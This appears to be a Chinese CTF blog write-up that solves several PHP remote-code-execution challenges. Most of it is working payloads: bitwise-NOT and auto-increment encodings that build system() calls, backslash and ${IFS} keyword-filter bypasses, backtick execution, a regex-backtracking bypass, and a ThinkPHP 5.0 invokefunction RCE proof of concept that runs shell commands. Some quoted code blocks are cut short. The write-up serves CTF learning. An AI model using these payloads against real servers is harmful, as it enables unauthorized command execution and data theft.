无题
[SWPUCTF 2021 新生赛]hardrce
1 | <?php |
无字母数字rce,没有过滤()和~,考虑取反绕过
由于是eval函数,传入的字符串要是php代码
1 | <?php |
得到:%8C%86%8C%8B%9A%92
%93%8C%DF%D0
/?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);
发现flllllaaaaaaggggggg
1 | <?php |
payload:?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
[SWPUCTF 2021 新生赛]finalrce
exec函数从PHP脚本中调用外部命令行程序,执行成功时返回命令执行结果的最后一行输出
黑名单中过滤了一些函数和关键字的同时还过滤了’la’,在读取flag时可能要考虑通配符绕过
exec无回显,采用tee命令保留结果,没有过滤反斜杠,利用反斜杠绕过ls
?url=l\s /|tee 1.txt;
管道符|将ls命令的输出作传递给后一个命令作为输入,tee命令将输入同时输出到终端并写入1.txt文件中
要获取flllllaaaaaaggggggg,由于cat被过滤,采用\绕过
?url=ca\t /flllll\aaaaaaggggggg|tee 111.txt;
[UUCTF 2022 新生赛]ez_rce
eval无回显,另外sys被过滤,采用反引号命令执行
payload:
1 | ?code=print(`l\s /`); |
发现fffffffffflagafag
1 | ?code=print(`c\at /fffffffffflagafag`); |
[SWPUCTF 2022 新生赛]ez_rce
进来只有一句话:真的什么都没有吗?
dirsearch扫描
存在robots
访问发现
1 | User-agent: * |
访问
phpthink 5.0版本RCE漏洞,从网上找poc
参考:https://blog.csdn.net/youuzi/article/details/132237232
1 | ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/ |
1 | ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat $(find / -name flag) |
find / -name flag 为查找根目录和子目录下名为flag的文件,$()也会执行括号内的命令
[MoeCTF 2021]babyRCE
没过滤ls,查看一下
?rce=c\at${IFS}fl\ag.php
空格绕过:${IFS},反斜杠绕过关键字
[NISACTF 2022]middlerce
正则\w匹配了所有字母数字以及下划线,并匹配了波浪线反引号制表符等等,只能利用正则回溯绕过preg_match,即在回溯超过1000000次之后,该函数自动返回false
可以看到else内是对传入的参数进行json解码,传入时应符合json模式
1 | import requests |
另外如果不使用?><?=而采用:
1 | payload = '{"cmd":"<?php echo `tail /f*`; ?>","test":"' + "@" * 1000002 + '"}' |
会显示差一点点,所以只能用上面的形式
运行脚本即可获得flag
[HNCTF 2022 Week1]Challenge__rce
f12,注释部分提示传hint参数,传进去后看到源码
无字母rce,过滤了~和^无法使用取反和异或运算,能利用的有以下字符
1 | $()+,.0123456789;=[]_{} |
根据php特性将字符与数组强行链接时,会返回字符串“Array”,取其中的字符并通过自增运算可以拼接命令
参考:https://www.nssctf.cn/note/set/4919
构造出chr后获取构造$_GET[],传入1,2两个参数,之后传参执行命令
1 | $_[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]); |
url编码
1 | $_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b |
最终payload
url:
1 | .../?hint=1&1=system&2=cat /f* |
post:
1 | rce=$_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b |